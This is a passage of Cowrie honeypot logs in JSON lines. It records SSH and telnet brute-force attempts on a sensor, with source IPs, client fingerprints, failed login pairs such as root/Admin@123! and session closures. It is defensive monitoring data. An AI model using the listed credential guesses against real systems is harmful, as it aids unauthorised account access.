ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:55.308169Z","src_ip":"45.153.34.97","session":"ae463f43ce0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:55.586251Z","src_ip":"45.153.34.97","session":"ae463f43ce0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:56.683107Z","src_ip":"45.153.34.97","session":"ae463f43ce0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48154,"dst_ip":"10.17.0.5","dst_port":23,"session":"b73fb676ea97","protocol":"telnet","message":"New connection: 152.42.224.71:48154 (10.17.0.5:23) [session: b73fb676ea97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:57.818312Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":23846,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72591fad933","protocol":"ssh","message":"New connection: 45.153.34.97:23846 (10.17.0.5:22) [session: b72591fad933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:59.371393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:59.578545Z","src_ip":"45.153.34.97","session":"b72591fad933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:59.582532Z","src_ip":"45.153.34.97","session":"b72591fad933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b2","password":"123","message":"login attempt [b2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:00.484910Z","src_ip":"45.153.34.97","session":"b72591fad933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:01.615533Z","src_ip":"45.153.34.97","session":"b72591fad933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.583178043365479,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:02.334370Z","src_ip":"152.42.224.71","session":"6b21b8d01da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58930,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea30618a523d","protocol":"ssh","message":"New connection: 45.153.34.97:58930 (10.17.0.5:22) [session: ea30618a523d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:03.903178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:03.908885Z","src_ip":"45.153.34.97","session":"ea30618a523d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:03.993951Z","src_ip":"45.153.34.97","session":"ea30618a523d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as123456","message":"login attempt [root/as123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.282627Z","src_ip":"45.153.34.97","session":"ea30618a523d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":47806,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d664390db81","protocol":"ssh","message":"New connection: 43.135.177.217:47806 (10.17.0.5:22) [session: 6d664390db81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.388814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.395056Z","src_ip":"43.135.177.217","session":"6d664390db81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.463882Z","src_ip":"43.135.177.217","session":"6d664390db81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smile321","message":"login attempt [root/smile321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.768881Z","src_ip":"43.135.177.217","session":"6d664390db81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.415210723876953,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.884622Z","src_ip":"152.42.224.71","session":"875694203d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":35322,"dst_ip":"10.17.0.5","dst_port":22,"session":"429e286bbcf4","protocol":"ssh","message":"New connection: 43.153.36.83:35322 (10.17.0.5:22) [session: 429e286bbcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.966444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:04.975395Z","src_ip":"43.153.36.83","session":"429e286bbcf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:05.047766Z","src_ip":"43.153.36.83","session":"429e286bbcf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nelson","message":"login attempt [root/nelson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:05.366313Z","src_ip":"43.153.36.83","session":"429e286bbcf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:05.401057Z","src_ip":"45.153.34.97","session":"ea30618a523d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:05.842265Z","src_ip":"43.135.177.217","session":"6d664390db81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:06.440493Z","src_ip":"43.153.36.83","session":"429e286bbcf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c96fc4db81a","protocol":"ssh","message":"New connection: 45.153.34.97:58936 (10.17.0.5:22) [session: 7c96fc4db81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:08.121677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:08.130869Z","src_ip":"45.153.34.97","session":"7c96fc4db81a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:08.213813Z","src_ip":"45.153.34.97","session":"7c96fc4db81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Pass@123","message":"login attempt [server/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:08.477965Z","src_ip":"45.153.34.97","session":"7c96fc4db81a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":42346,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e91f120bd9","protocol":"ssh","message":"New connection: 43.153.31.20:42346 (159.203.135.109:22) [session: 88e91f120bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:09.224606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:09.229840Z","src_ip":"43.153.31.20","session":"88e91f120bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:09.299410Z","src_ip":"43.153.31.20","session":"88e91f120bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:09.572469Z","src_ip":"45.153.34.97","session":"7c96fc4db81a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!","message":"login attempt [root/Admin@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:09.606733Z","src_ip":"43.153.31.20","session":"88e91f120bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:10.679830Z","src_ip":"43.153.31.20","session":"88e91f120bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":60820,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fe889339038","protocol":"ssh","message":"New connection: 43.130.38.88:60820 (159.203.135.109:22) [session: 7fe889339038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.236244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.241349Z","src_ip":"43.130.38.88","session":"7fe889339038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":56780,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d52e9f50a56","protocol":"ssh","message":"New connection: 45.153.34.97:56780 (10.17.0.5:22) [session: 8d52e9f50a56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.282991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.288584Z","src_ip":"45.153.34.97","session":"8d52e9f50a56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.310722Z","src_ip":"43.130.38.88","session":"7fe889339038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.484602Z","src_ip":"45.153.34.97","session":"8d52e9f50a56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty54321","message":"login attempt [root/qwerty54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.625422Z","src_ip":"43.130.38.88","session":"7fe889339038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dany","password":"dany","message":"login attempt [dany/dany] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:12.890612Z","src_ip":"45.153.34.97","session":"8d52e9f50a56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:09:13.697341Z","src_ip":"43.130.38.88","session":"7fe889339038","protocol":"ssh"}
